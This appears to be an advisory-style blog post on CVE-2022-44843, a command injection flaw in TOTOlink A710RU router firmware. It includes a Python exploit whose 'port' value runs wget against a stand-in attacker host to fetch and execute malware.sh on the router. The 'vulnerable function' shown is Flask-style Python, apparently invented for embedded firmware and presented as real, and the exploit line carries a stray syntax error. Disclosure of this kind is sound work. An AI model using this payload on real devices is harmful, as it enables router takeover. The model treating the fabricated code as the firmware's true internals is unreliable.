In this detailed post, we are going to discuss the recently discovered command injection vulnerability (CVE-2022-44843) found in TOTOlink A710RU V7.4cu.2313_B20191024 wireless router firmware. This vulnerability allows an attacker to execute arbitrary commands on the target device via the port parameter in the setting/setOpenVpnClientCfg function. We will provide code snippets, links to original references, and exploit details to help you better understand this issue, its impact, and potential mitigation strategies.

Background

TOTOlink is a popular manufacturer of networking devices, including routers and wireless access points. The A710RU is one of their wireless router models, running firmware version 7.4cu.2313_B20191024. This firmware version was discovered to be vulnerable to command injection, a critical security issue that allows attackers to execute arbitrary commands, potentially gaining full control of the affected device.

Vulnerability Details

The vulnerability, assigned CVE-2022-44843, lies within the handling of the 'port' parameter in the setting/setOpenVpnClientCfg function. Due to improper input validation, an attacker could inject commands into this parameter, leading to the execution of arbitrary commands on the target device.

The following code snippet demonstrates the vulnerable function and the offending 'port' parameter handling:

# Vulnerable function in setting/setOpenVpnClientCfg
def setOpenVpnClientCfg():
    # ... Other code ...

    # Get the port parameter from user input
    port = request.form.get("port")

    # ... Other code ...

    # Lack of proper input validation leading to command injection
    os.system("startOpenvpnClient %s" % port)

    # ... Other code ...

Exploit Details

An attacker could exploit this vulnerability by sending a crafted HTTP POST request to the target device's web interface, with the 'port' parameter containing the malicious command. Here's a simple example of an exploit using Python and the 'requests' library:

import requests

# Target device's IP address
target_ip = "192.168.1.1"

# Crafted 'port' parameter containing the malicious command
malicious_port = "1234; wget http://attacker.com/malware.sh -O /tmp/malware.sh && sh /tmp/malware.sh;"

# HTTP POST request with the malicious port parameter
response = requests.post(f"http://{target_ip}/setting/setOpenVpnClientCfg";, data={"port": malicious_port})

In the example above, the exploit downloads a malicious script ('malware.sh') from the attacker's server, saves it in the '/tmp' directory, and executes it. This could lead to adverse consequences, such as unauthorized access, data exfiltration, or further compromise of the network.

Mitigations

To mitigate the risk posed by this vulnerability, users should immediately update their TOTOlink A710RU devices to the latest firmware version available from the manufacturer's website. In addition, restricting access to the device's web interface only to trusted networks and implementing strong authentication measures can further reduce the risk of exploitation.

Original References

To learn more about this vulnerability, its discovery, and technical details, refer to the following resources:

1. CVE-2022-44843 - NIST National Vulnerability Database
2. TOTOlink A710RU Firmware Update

Conclusion

CVE-2022-44843 is a critical command injection vulnerability affecting TOTOlink A710RU wireless router firmware version 7.4cu.2313_B20191024. It is essential to take swift action to update affected devices and implement best security practices to minimize the risk of exploitation. Stay informed and proactive about your network's security to protect your devices and data.

Timeline

Published on: 11/25/2022 20:15:00 UTC
Last modified on: 12/01/2022 17:45:00 UTC